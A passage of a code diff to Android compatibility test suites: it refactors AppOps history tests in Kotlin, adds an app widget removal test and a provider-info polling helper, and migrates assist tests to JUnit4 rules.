+ val secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ secondIntervalBeginMillis, secondIntervalEndMillis)
assertHasCounts(secondOps!!, 33)
// Validate the data for both intervals
val thirdIntervalBeginMillis = firstIntervalEndMillis - SNAPSHOT_INTERVAL_MILLIS
val thirdIntervalEndMillis = secondIntervalBeginMillis + SNAPSHOT_INTERVAL_MILLIS
- val thirdOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, thirdIntervalBeginMillis, thirdIntervalEndMillis)
+ val thirdOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ thirdIntervalBeginMillis, thirdIntervalEndMillis)
assertHasCounts(thirdOps!!, 33)
}
- @Ignore("Feature is disabled in Android Q")
@Test
fun testHistoryTimeTravel() {
// Configure historical registry behavior.
- appOpsManager!!.setHistoryParameters(
+ appOpsManager.setHistoryParameters(
AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
SNAPSHOT_INTERVAL_MILLIS,
INTERVAL_COMPRESSION_MULTIPLIER)
@@ -149,18 +148,18 @@
val chunk = createDataChunk()
val chunkCount = computeSlotCount(2) * SNAPSHOT_INTERVAL_MILLIS / chunk.endTimeMillis
for (i in 0 until chunkCount) {
- appOpsManager!!.addHistoricalOps(chunk)
+ appOpsManager.addHistoricalOps(chunk)
}
// Move history in past with the first interval duration
val firstIntervalDurationMillis = computeIntervalDurationMillis(0)
- appOpsManager!!.offsetHistory(firstIntervalDurationMillis)
+ appOpsManager.offsetHistory(firstIntervalDurationMillis)
// Validate the data for the first interval
val firstIntervalBeginMillis = computeIntervalBeginRawMillis(0)
val firstIntervalEndMillis = firstIntervalBeginMillis + firstIntervalDurationMillis
- val firstOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+ val firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ firstIntervalBeginMillis, firstIntervalEndMillis)
assertThat(firstOps).isNotNull()
assertThat(firstOps!!.uidCount).isEqualTo(0)
@@ -168,8 +167,8 @@
val secondIntervalBeginMillis = computeIntervalBeginRawMillis(1)
val secondIntervalDurationMillis = computeIntervalDurationMillis(1)
val secondIntervalEndMillis = secondIntervalBeginMillis + secondIntervalDurationMillis
- val secondOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
+ val secondOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ secondIntervalBeginMillis, secondIntervalEndMillis)
val secondChunkCount = ((computeSlotCount(2) - computeSlotCount(1))
.times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis)
assertHasCounts(secondOps!!, 10 * secondChunkCount)
@@ -178,22 +177,22 @@
val thirdIntervalBeginMillis = computeIntervalBeginRawMillis(2)
val thirdIntervalDurationMillis = computeIntervalDurationMillis(2)
val thirdIntervalEndMillis = thirdIntervalBeginMillis + thirdIntervalDurationMillis
- val thirdOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, thirdIntervalBeginMillis, thirdIntervalEndMillis)
+ val thirdOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ thirdIntervalBeginMillis, thirdIntervalEndMillis)
val thirdChunkCount = secondChunkCount / INTERVAL_COMPRESSION_MULTIPLIER
assertHasCounts(thirdOps!!, 10 * thirdChunkCount)
// Move history in future with the first interval duration
- appOpsManager!!.offsetHistory(- (2.5f * firstIntervalDurationMillis).toLong())
+ appOpsManager.offsetHistory(- (2.5f * firstIntervalDurationMillis).toLong())
// Validate the data for the first interval
- val fourthOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, firstIntervalBeginMillis, firstIntervalEndMillis)
+ val fourthOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ firstIntervalBeginMillis, firstIntervalEndMillis)
assertHasCounts(fourthOps!!, 194)
// Validate the data for the second interval
- val fifthOps = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, secondIntervalBeginMillis, secondIntervalEndMillis)
+ val fifthOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ secondIntervalBeginMillis, secondIntervalEndMillis)
assertThat(fifthOps).isNotNull()
assertHasCounts(fifthOps!!, 1703)
@@ -201,7 +200,7 @@
private fun testHistoricalAggregationSomeLevelsDeep(depth: Int) {
// Configure historical registry behavior.
- appOpsManager!!.setHistoryParameters(
+ appOpsManager.setHistoryParameters(
AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
SNAPSHOT_INTERVAL_MILLIS,
INTERVAL_COMPRESSION_MULTIPLIER)
@@ -211,14 +210,14 @@
val chunkCount = (computeSlotCount(depth + 1)
.times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis)
for (i in 0 until chunkCount) {
- appOpsManager!!.addHistoricalOps(chunk)
+ appOpsManager.addHistoricalOps(chunk)
}
// Validate the data for the full interval
val intervalBeginMillis = computeIntervalBeginRawMillis(depth)
val intervalEndMillis = computeIntervalBeginRawMillis(depth + 1)
- val ops = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
- null /*opNames*/, intervalBeginMillis, intervalEndMillis)
+ val ops = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+ intervalBeginMillis, intervalEndMillis)
val expectedOpCount = ((computeSlotCount(depth + 1) - computeSlotCount(depth))
.times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis) * 10
assertHasCounts(ops!!, expectedOpCount)
@@ -226,14 +225,14 @@
private fun testGetHistoricalPackageOpsForegroundAtDepth(depth: Int) {
// Configure historical registry behavior.
- appOpsManager!!.setHistoryParameters(
+ appOpsManager.setHistoryParameters(
AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
SNAPSHOT_INTERVAL_MILLIS,
INTERVAL_COMPRESSION_MULTIPLIER)
- appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
+ appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
AppOpsManager.MODE_ALLOWED)
- appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
+ appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
AppOpsManager.MODE_ALLOWED)
activityRule.activity.waitForResumed()
@@ -247,7 +246,7 @@
// Note ops such that we have data at all levels
for (d in depth downTo 0) {
for (i in 0 until noteCount) {
- appOpsManager!!.noteOp(AppOpsManager.OPSTR_START_FOREGROUND, uid, packageName!!)
+ appOpsManager.noteOp(AppOpsManager.OPSTR_START_FOREGROUND, uid, packageName)
}
if (d > 0) {
@@ -272,7 +271,7 @@
}
// Get all ops for the package
- val allOps = getHistoricalOps(appOpsManager!!, uid, packageName!!,
+ val allOps = getHistoricalOps(appOpsManager, uid, packageName,
null, beginTimeMillis, endTimeMillis)
assertThat(allOps).isNotNull()
@@ -287,7 +286,7 @@
val packageOps = uidOps.getPackageOpsAt(0)
assertThat(packageOps).isNotNull()
- assertThat(packageOps.packageName).isEqualTo(getContext().packageName)
+ assertThat(packageOps.packageName).isEqualTo(packageName)
assertThat(packageOps.opCount).isEqualTo(1)
val op = packageOps.getOpAt(0)
@@ -337,9 +336,9 @@
assertThat(getRejectCount(op, AppOpsManager.UID_STATE_BACKGROUND)).isEqualTo(0)
assertThat(getRejectCount(op, AppOpsManager.UID_STATE_CACHED)).isEqualTo(0)
} finally {
- appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
+ appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
AppOpsManager.MODE_FOREGROUND)
- appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
+ appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
AppOpsManager.MODE_FOREGROUND)
}
}
@@ -348,23 +347,28 @@
val chunk = HistoricalOps(SNAPSHOT_INTERVAL_MILLIS / 4,
SNAPSHOT_INTERVAL_MILLIS / 2)
chunk.increaseAccessCount(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
chunk.increaseAccessCount(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
chunk.increaseRejectCount(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
chunk.increaseRejectCount(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
chunk.increaseAccessDuration(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
chunk.increaseAccessDuration(AppOpsManager.OP_START_FOREGROUND, uid,
- packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+ packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
return chunk
}
- private fun getHistoricalOps(appOpsManager: AppOpsManager, uid: Int,
- packageName: String, opNames: List<String>?, beginTimeMillis: Long,
- endTimeMillis: Long): HistoricalOps? {
+ private fun getHistoricalOps(
+ appOpsManager: AppOpsManager,
+ uid: Int,
+ packageName: String,
+ opNames: List<String>?,
+ beginTimeMillis: Long,
+ endTimeMillis: Long
+ ): HistoricalOps? {
val array = arrayOfNulls<HistoricalOps>(1)
val lock = ReentrantLock()
val condition = lock.newCondition()
@@ -374,10 +378,9 @@
beginTimeMillis, endTimeMillis)
.setUid(uid)
.setPackageName(packageName)
- .setOpNames(if (opNames != null) ArrayList(opNames) else null)
+ .setOpNames(opNames?.toList())
.build()
- appOpsManager.getHistoricalOps(request, getContext().getMainExecutor(),
- Consumer { ops ->
+ appOpsManager.getHistoricalOps(request, context.mainExecutor, Consumer { ops ->
array[0] = ops
try {
lock.lock()
@@ -426,9 +429,13 @@
return op.getAccessDuration(uidState, uidState, AppOpsManager.OP_FLAGS_ALL)
}
- private fun getHistoricalOpsFromDiskRaw(appOpsManager: AppOpsManager, uid: Int,
- packageName: String, opNames: List<String>?, beginTimeMillis: Long,
- endTimeMillis: Long): HistoricalOps? {
+ private fun getHistoricalOpsFromDiskRaw(
+ uid: Int,
+ packageName: String,
+ opNames: List<String>?,
+ beginTimeMillis: Long,
+ endTimeMillis: Long
+ ): HistoricalOps? {
val array = arrayOfNulls<HistoricalOps>(1)
val lock = ReentrantLock()
val condition = lock.newCondition()
@@ -438,18 +445,18 @@
beginTimeMillis, endTimeMillis)
.setUid(uid)
.setPackageName(packageName)
- .setOpNames(if (opNames != null) ArrayList(opNames) else null)
+ .setOpNames(opNames?.toList())
.build()
- appOpsManager.getHistoricalOpsFromDiskRaw(request, getContext().getMainExecutor(),
- Consumer { ops ->
- array[0] = ops
- try {
- lock.lock()
- condition.signalAll()
- } finally {
- lock.unlock()
- }
- })
+ appOpsManager.getHistoricalOpsFromDiskRaw(request, context.mainExecutor,
+ Consumer { ops ->
+ array[0] = ops
+ try {
+ lock.lock()
+ condition.signalAll()
+ } finally {
+ lock.unlock()
+ }
+ })
condition.await(5, TimeUnit.SECONDS)
return array[0]
} finally {
@@ -461,6 +468,10 @@
const val INTERVAL_COMPRESSION_MULTIPLIER = 10
const val SNAPSHOT_INTERVAL_MILLIS = 1000L
+ val instrumentation get() = InstrumentationRegistry.getInstrumentation()
+ val context get() = instrumentation.context
+ val uiAutomation get() = instrumentation.uiAutomation
+
private fun computeIntervalDurationMillis(depth: Int): Long {
return Math.pow(INTERVAL_COMPRESSION_MULTIPLIER.toDouble(),
(depth + 1).toDouble()).toLong() * SNAPSHOT_INTERVAL_MILLIS
@@ -482,13 +493,5 @@
}
return beginTimeMillis * SNAPSHOT_INTERVAL_MILLIS
}
-
- private fun getInstrumentation(): Instrumentation {
- return InstrumentationRegistry.getInstrumentation()
- }
-
- private fun getContext(): Context {
- return getInstrumentation().context
- }
}
}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 0e84505..6a79aba 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -74,6 +74,7 @@
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.IntConsumer;
public class AppWidgetTest extends AppWidgetTestCase {
@@ -739,6 +740,88 @@
@AppModeFull(reason = "Instant apps cannot provide or host app widgets")
@Test
+ public void testAppWidgetRemoved() throws Exception {
+
+ // We want to bind widgets.
+ grantBindAppWidgetPermission();
+
+ final AtomicInteger onAppWidgetRemovedCounter = new AtomicInteger();
+ IntConsumer callback = mock(IntConsumer.class);
+
+ // Create a host and start listening.
+ AppWidgetHost host = new AppWidgetHost(
+ getInstrumentation().getTargetContext(), 0) {
+ @Override
+ public void onAppWidgetRemoved(int widgetId) {
+ synchronized (mLock) {
+ onAppWidgetRemovedCounter.incrementAndGet();
+ mLock.notifyAll();
+ callback.accept(widgetId);
+ }
+ }
+ };
+ host.deleteHost();
+ host.startListening();
+
+ int firstAppWidgetId = 0;
+ int secondAppWidgetId = 0;
+
+ try {
+ // Grab the provider we defined to be bound.
+ AppWidgetProviderInfo firstProviderInfo = getFirstAppWidgetProviderInfo();
+ AppWidgetProviderInfo secondProviderInfo = getSecondAppWidgetProviderInfo();
+
+ // Allocate widget id to bind.
+ firstAppWidgetId = host.allocateAppWidgetId();
+ secondAppWidgetId = host.allocateAppWidgetId();
+
+ //create listeners
+ MyAppWidgetHostView.OnUpdateAppWidgetListener secondAppHostViewListener =
+ mock(MyAppWidgetHostView.OnUpdateAppWidgetListener.class);
+
+ // Bind the first app widget.
+ getAppWidgetManager().bindAppWidgetIdIfAllowed(firstAppWidgetId,
+ firstProviderInfo.getProfile(), firstProviderInfo.provider, null);
+ getAppWidgetManager().bindAppWidgetIdIfAllowed(secondAppWidgetId,
+ secondProviderInfo.getProfile(), secondProviderInfo.provider, null);
+
+ // Disable the first widget while host is listening
+ PackageManager packageManager = getInstrumentation().getTargetContext()
+ .getApplicationContext().getPackageManager();
+ packageManager.setComponentEnabledSetting(firstProviderInfo.provider,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+
+ waitForCallCount(onAppWidgetRemovedCounter, 1);
+
+ // Disable the second widget while host is paused
+ host.stopListening();
+ packageManager.setComponentEnabledSetting(secondProviderInfo.provider,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+
+
+ assertEquals(onAppWidgetRemovedCounter.get(),1);
+ verify(callback).accept(eq(firstAppWidgetId));
+
+ // resume listening
+ host.startListening();
+
+ // Wait for the package change to propagate.
+ waitForCallCount(onAppWidgetRemovedCounter, 2);
+ verify(callback).accept(eq(secondAppWidgetId));
+
+ } finally {
+ // Clean up.
+ host.deleteAppWidgetId(firstAppWidgetId);
+ host.deleteAppWidgetId(secondAppWidgetId);
+ host.deleteHost();
+ revokeBindAppWidgetPermission();
+ }
+ }
+
+ @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
+ @Test
public void testUpdateAppWidgetViaComponentName() throws Exception {
// We want to bind widgets.
grantBindAppWidgetPermission();
@@ -1502,7 +1585,6 @@
private static class MyAppWidgetHostView extends AppWidgetHostView {
private OnUpdateAppWidgetListener mOnUpdateAppWidgetListener;
-
public interface OnUpdateAppWidgetListener {
public void onUpdateAppWidget(RemoteViews remoteViews);
}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java b/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
index 3d7f779..5f1320a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
@@ -17,8 +17,7 @@
package android.appwidget.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
import android.appwidget.AppWidgetHost;
import android.appwidget.AppWidgetManager;
@@ -35,9 +34,11 @@
import org.junit.Before;
import org.junit.Test;
+import java.time.Instant;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
@AppModeFull(reason = "Instant apps cannot provide or host app widgets")
public class UpdateProviderInfoTest extends AppWidgetTestCase {
@@ -55,6 +56,10 @@
private static final int HOST_ID = 42;
private static final int RETRY_COUNT = 3;
+ private static final int WAIT_FOR_STATE_CHANGE_TIMEOUT_MS = 1000;
+
+ private static final Predicate<ComponentName> NULL_CN_PREDICATE = (cn) -> cn == null;
+ private static final Predicate<ComponentName> NOT_NULL_CN_PREDICATE = (cn) -> cn != null;
private CountDownLatch mProviderChangeNotifier;
AppWidgetHost mHost;
@@ -78,48 +83,48 @@
public void testInfoOverrides() throws Throwable {
// On first install the provider does not have any config activity.
installApk(APK_V1);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
// The provider info is updated
updateInfo(EXTRA_CUSTOM_INFO);
- assertNotNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
// The provider info is updated
updateInfo(null);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
}
@Test
public void testOverridesPersistedOnUpdate() throws Exception {
installApk(APK_V1);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
updateInfo(EXTRA_CUSTOM_INFO);
- assertNotNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
assertEquals((AppWidgetProviderInfo.RESIZE_BOTH & getProviderInfo().resizeMode),
AppWidgetProviderInfo.RESIZE_BOTH);
// Apk updated, the info is also updated
installApk(APK_V2);
- assertNotNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
assertEquals((AppWidgetProviderInfo.RESIZE_BOTH & getProviderInfo().resizeMode), 0);
// The provider info is reverted
updateInfo(null);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
}
@Test
public void testOverrideClearedWhenMissingInfo() throws Exception {
installApk(APK_V1);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
updateInfo(EXTRA_CUSTOM_INFO);
- assertNotNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
// V3 does not have the custom info definition
installApk(APK_V3);
- assertNull(getProviderInfo().configure);
+ waitAndConfirmComponentName(NULL_CN_PREDICATE);
}
private void createHost() throws Exception {
@@ -143,6 +148,18 @@
}
}
+ private void waitAndConfirmComponentName(Predicate<ComponentName> condition) throws Exception {
+ long deadline = Instant.now().plusMillis(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS).toEpochMilli();
+ boolean passesTest = condition.test(getProviderInfo().configure);
+ while (!passesTest && Instant.now().toEpochMilli() < deadline) {
+ long timeout = deadline - Instant.now().toEpochMilli();
+ mProviderChangeNotifier = new CountDownLatch(1);
+ mProviderChangeNotifier.await(timeout, TimeUnit.MILLISECONDS);
+ passesTest = condition.test(getProviderInfo().configure);
+ }
+ assertTrue(passesTest);
+ }
+
private void updateInfo(String key) throws Exception {
mProviderChangeNotifier = new CountDownLatch(1);
Intent intent = new Intent(Constants.ACTION_APPLY_OVERRIDE)
@@ -170,8 +187,8 @@
private AppWidgetProviderInfo getProviderInfo() throws Exception {
for (int i = 0; i < RETRY_COUNT; i++) {
mProviderChangeNotifier = new CountDownLatch(1);
- List<AppWidgetProviderInfo> providers = AppWidgetManager.getInstance(getInstrumentation()
- .getTargetContext()).getInstalledProvidersForPackage(
+ List<AppWidgetProviderInfo> providers = AppWidgetManager.getInstance(
+ getInstrumentation().getTargetContext()).getInstalledProvidersForPackage(
PROVIDER_PACKAGE, Process.myUserHandle());
if (providers != null && !providers.isEmpty()) {
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index 632c19e..83be674 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -25,11 +25,9 @@
"CtsAssistCommon",
"ctstestrunner-axt",
"compatibility-device-util-axt",
+ "androidx.test.ext.junit",
],
- libs: [
- "android.test.runner.stubs",
- "android.test.base.stubs",
- ],
+
srcs: ["src/**/*.java"],
sdk_version: "test_current",
}
diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index 42fcd60..6f34e08 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -31,9 +31,6 @@
<option name="test-file-name" value="CtsAssistApp.apk" />
<option name="test-file-name" value="CtsAssistTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="settings put secure voice_interaction_service android.assist.service/.MainInteractionService" />
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.assist.cts" />
<option name="runtime-hint" value="12m30s" />
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 7706bd4..2c96f80 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -82,7 +82,13 @@
Log.i(TAG, "onDestroy()");
super.onDestroy();
if (mReceiver != null) {
- mContext.unregisterReceiver(mReceiver);
+ try {
+ mContext.unregisterReceiver(mReceiver);
+ } catch (IllegalArgumentException e) {
+ // Ignore this exception when unregisterReceiver fails. Due to there will be timing
+ // case to destroy VoiceInteractionSessionService before VoiceInteractionSession.
+ Log.e(TAG, "Failed to unregister receiver in onDestroy.", e);
+ }
}
}
diff --git a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
index 0506bc9..69150a4 100755
--- a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
@@ -16,12 +16,17 @@
package android.assist.cts;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.util.Log;
-import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+import java.util.concurrent.TimeUnit;
/**
* Test that the AssistStructure returned is properly formatted.
@@ -34,12 +39,12 @@
private AutoResetLatch mHasDrawedLatch;
@Override
- protected void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
mHasDrawedLatch = new AutoResetLatch(1);
mActionLatchReceiver = new ActionLatchReceiver(Utils.APP_3P_HASDRAWED, mHasDrawedLatch);
startTestActivity(TEST_CASE_TYPE);
}
+
private void waitForOnDraw() throws Exception {
Log.i(TAG, "waiting for onDraw() before continuing");
if (!mHasDrawedLatch.await(Utils.ACTIVITY_ONRESUME_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
@@ -47,6 +52,7 @@
}
}
+ @Test
public void testAssistStructure() throws Throwable {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -59,9 +65,10 @@
final AutoResetLatch latch = startSession();
waitForContext(latch);
getInstrumentation().waitForIdleSync();
- runTestOnUiThread(() -> {
+ getInstrumentation().runOnMainSync(() -> {
verifyAssistDataNullness(false, false, false, false);
- verifyAssistStructure(Utils.getTestAppComponent(TEST_CASE_TYPE), false /*FLAG_SECURE set*/);
+ verifyAssistStructure(Utils.getTestAppComponent(TEST_CASE_TYPE),
+ false /*FLAG_SECURE set*/);
});
}
}
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 9971f74..967101f 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -16,8 +16,15 @@
package android.assist.cts;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
import android.app.ActivityManager;
import android.app.assist.AssistContent;
import android.app.assist.AssistStructure;
@@ -34,7 +41,6 @@
import android.os.LocaleList;
import android.os.RemoteCallback;
import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
import android.util.Log;
import android.util.Pair;
import android.view.Display;
@@ -45,19 +51,32 @@
import android.widget.TextView;
import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.rule.ActivityTestRule;
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+import com.android.compatibility.common.util.SettingsStateManager;
import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.StateKeeperRule;
import com.android.compatibility.common.util.ThrowingRunnable;
import com.android.compatibility.common.util.Timeout;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
-import javax.annotation.Nullable;
-
-public class AssistTestBase extends ActivityInstrumentationTestCase2<TestStartActivity> {
+@RunWith(AndroidJUnit4.class)
+abstract class AssistTestBase {
private static final String TAG = "AssistTestBase";
protected static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
@@ -66,10 +85,6 @@
private static final String ASSIST_STRUCTURE_ENABLED = "assist_structure_enabled";
private static final String ASSIST_SCREENSHOT_ENABLED = "assist_screenshot_enabled";
- // TODO: once tests are migrated to JUnit 4, use a @BeforeClass method or StateChangerRule
- // to avoid this hack
- private static boolean mFirstTest = true;
-
private static final Timeout TIMEOUT = new Timeout(
"AssistTestBaseTimeout",
10000,
@@ -79,6 +94,30 @@
private static final long SLEEP_BEFORE_RETRY_MS = 250L;
+ private static final Context sContext = getInstrumentation().getTargetContext();
+
+ private static final SettingsStateManager sStructureEnabledMgr = new SettingsStateManager(
+ sContext, SettingsUtils.NAMESPACE_SECURE, ASSIST_STRUCTURE_ENABLED);
+ private static final SettingsStateManager sScreenshotEnabledMgr = new SettingsStateManager(
+ sContext, SettingsUtils.NAMESPACE_SECURE, ASSIST_SCREENSHOT_ENABLED);
+
+ private final SettingsStateChangerRule mServiceSetterRule = new SettingsStateChangerRule(
+ sContext, Settings.Secure.VOICE_INTERACTION_SERVICE,
+ "android.assist.service/.MainInteractionService");
+ private final StateKeeperRule<String> mStructureEnabledKeeperRule = new StateKeeperRule<>(
+ sStructureEnabledMgr);
+ private final StateKeeperRule<String> mScreenshotEnabledKeeperRule = new StateKeeperRule<>(
+ sScreenshotEnabledMgr);
+ private final ActivityTestRule<TestStartActivity> mActivityTestRule =
+ new ActivityTestRule<>(TestStartActivity.class, false, false);
+
+ @Rule
+ public final RuleChain mLookAllTheseRules = RuleChain
+ .outerRule(mServiceSetterRule)
+ .around(mStructureEnabledKeeperRule)
+ .around(mScreenshotEnabledKeeperRule)
+ .around(mActivityTestRule);
+
protected ActivityManager mActivityManager;
private TestStartActivity mTestActivity;
protected AssistContent mAssistContent;
@@ -108,20 +147,15 @@
private String mTestName;
private View mView;
- public AssistTestBase() {
- super(TestStartActivity.class);
+ @BeforeClass
+ public static void setFeatures() {
+ setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
+ logContextAndScreenshotSetting();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
-
- if (mFirstTest) {
- setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
- logContextAndScreenshotSetting();
- mFirstTest = false;
- }
+ @Before
+ public final void setUp() throws Exception {
+ mContext = sContext;
// reset old values
mScreenshotMatches = false;
@@ -134,10 +168,19 @@
prepareDevice();
registerForAsyncReceivingCallback();
+
+ customSetup();
}
- @Override
- protected void tearDown() throws Exception {
+ /**
